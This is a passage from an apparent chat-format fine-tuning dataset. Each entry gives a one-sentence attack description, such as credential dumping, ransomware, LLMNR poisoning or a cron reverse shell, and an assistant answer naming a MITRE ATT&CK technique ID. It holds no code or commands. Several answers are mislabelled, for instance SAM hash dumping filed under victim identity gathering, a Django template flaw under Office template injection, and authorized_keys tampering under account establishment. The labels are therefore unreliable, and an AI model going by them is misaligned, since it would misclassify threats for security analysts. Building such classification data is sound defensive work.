        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system executes a VBScript that enumerates running processes and sends the list to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the backup configuration repository of a network device and downloads the files."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a maliciously crafted SD card to store stolen credential dumps before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used a compromised VPN account to access the network, making their traffic blend with regular remote worker connections."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a vulnerable certificate management API to create a new code signing certificate without proper authorization."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File attributes are set to \"hidden\" and \"system\" to prevent discovery by standard file explorers."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abused a serverless function's trigger to execute ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration in the hybrid identity trust relationship, the attacker inserts custom claims into JWTs, enabling unauthorized cloud access."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls 'proc_open' to gather a snapshot of current processes on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a PowerShell script that uses the MediaCapture class to take a 10‑second video from the front‑facing camera and emails it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages proc memory injection to execute a payload inside a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a host, the attacker used SSH key authentication to move laterally across the enterprise environment."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating the quarantine attribute on a downloaded file, the attacker tricks Gatekeeper into treating it as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool retrieved the mail client’s configuration and copied the mail store from the user’s profile."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension silently mines crypto using the victim's CPU whenever a new tab is opened."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the PAM authentication settings, the adversary creates an unconditional login path that bypasses all standard credential checks."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a compromised CI/CD pipeline to deploy a container that executes a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a custom backdoor to the victim's machine via an FTP connection."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spawns a rogue SSH key pair and adds the public key to the authorized_keys file of multiple Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network logs reveal a domain that resolves to a rotating pool of IPs, suggesting the use of fast-flux for command traffic."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a proprietary binary protocol over TCP, applying AES encryption with a static key to exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection spreads by replacing a common shared library with a malicious version that is called by multiple applications on the host."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages APIs to launch resources in a cloud region the organization has never activated, sidestepping security policies."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a valid domain administrator account to add new privileged users to the AD."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a payload that overwrites the disk's master boot record and all data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After dumping password hashes from the LSASS process, the group leverages those hashes to log into domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant extracts Wi‑Fi SSID and BSSID information from the system registry to map the network environment."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal runs a dictionary‑based scan to locate hidden .git directories on the server."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators stripped debugging symbols from the dropper tool and repackaged it, eliminating tell‑tale indicators that could link the tool to known malware families."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a DLL and updates the COR_PROFILER environment variable, causing all .NET processes to load the malicious profiler."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious software installs a proxy that relays traffic from the victim's network to an attacker-controlled cloud service, bypassing network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s payload checks the current system's IP address range and remains dormant unless the address falls within a defined subnet."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails are sent to employees with an attachment named \"Invoice.pdf\" that, when opened, displays a form requesting the user’s Active Directory username and password to process a fake payment."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware used the system's legitimate service name \"wuauserv\" and ran from the standard Windows Update service directory to blend in with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware contacts the Exploit-DB website to download exploit code for a known software version."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses excessive padding with NOP instructions to obscure the location of its malicious code inside the file."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the GCP metadata server to retrieve service account credentials and project metadata."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious shellcode into a running process and overwrites its in‑memory configuration structures to change application behavior."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stages data on a remote OneDrive account before exfiltrating it to the command server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses Windows Task Scheduler to automate the collection of registry keys and push them to a C2."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a persistent two-way channel using a legitimate web service API to exchange commands and data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses rundll32.exe with arguments that appear to be a legitimate system task, while actually loading a malicious DLL to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest refreshed access tokens from a compromised desktop client by reading its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group transferred ownership of a critical corporate domain to a new registrar account under their control, disrupting communications."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leased a virtual private DNS server from a cloud provider to redirect traffic to malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the Terminal Services DLL, the threat actor ensures their payload runs with SYSTEM privileges each time a user connects via Remote Desktop."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider dumps the Windows DPAPI-protected certificate store to obtain authentication certificates for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that runs on the endpoint and logs in with a pre‑compromised local user account."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public WHOIS databases to collect the target organization's domain registration details, including registrar, registration date, and contact information."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a VBA macro that reads the local mail store and sends selected messages to an external server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates LLMNR poisoning on a wireless network, capturing NTLM hashes from devices that attempt to resolve unknown hostnames."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware includes a timer that prevents it from executing while the system time is earlier than a set date."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber espionage groups harvest credentials from Zoom chat transcripts where participants shared access codes."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the authentication API to encrypt authentication payloads with a reversible algorithm, allowing later decryption of the data."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher sends a malicious invitation through Microsoft Outlook's calendar feature, containing a link to a credential‑phishing site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is used to extract password hashes from the Windows SAM database."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a cloud provider's deprecated region, the attacker establishes a backdoor channel to maintain persistence without alerting defenders."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a cron job that runs a reverse shell every hour on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a new account in the SaaS platform to exfiltrate data unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails with malicious links to gain access to sensitive information"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By appending an LC_LOAD_DYLIB entry, the attacker ensures a malicious dynamic library is loaded during program execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compress and encrypt the binary with a novel packer before deployment to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses dynamic DNS calculation to resolve hostnames for payload delivery, adjusting queries each time it runs."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a custom protocol that leverages elliptic‑curve cryptography to secure command and control traffic over the internet."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a template injection flaw in a Django application to read sensitive files from the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Android device, the attacker leverages the “AudioSource.VOICE_COMMUNICATION” source to capture call audio and periodically sends it over SMS."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape information from subscription-only industry reports and confidential newsletters to plan their intrusion."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Cached Credentials subkey under HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa to harvest domain hash values."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Azure Resource Graph to list all active user accounts across subscriptions."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place malicious code in a DLL that is loaded by multiple legitimate applications to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies firmware on IoT devices, causing them to malfunction."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs Windows Remote Management to enumerate system information and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary signed a malicious executable with a forged certificate, then renamed it to appear as a legitimate system binary, causing the OS to trust the invalid signature."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs code obfuscation by inserting junk instructions and random no-op operations into the shellcode."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan overwrites parts of its executable with zeroes, increasing file size without affecting functionality, to hide its true code."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The bot’s domain generation algorithm uses a hash of the system’s BIOS serial number to create domain names."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
